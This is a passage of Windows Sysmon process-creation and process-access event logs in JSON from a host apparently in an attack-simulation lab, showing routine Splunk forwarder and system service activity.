ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1606,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.195\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nProcessId: 3852\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nParentProcessId: 3832\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.195","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-00101DCD0200}","ParentProcessId":"3832","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1607,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00101DCD0200}\r\nSourceProcessId: 3832\r\nSourceThreadId: 3836\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","SourceProcessId":"3832","SourceThreadId":"3836","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1608,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010D8CD0200}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010D8CD0200}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1609,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1610,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1611,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1612,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1613,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.187","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1614,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.187\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 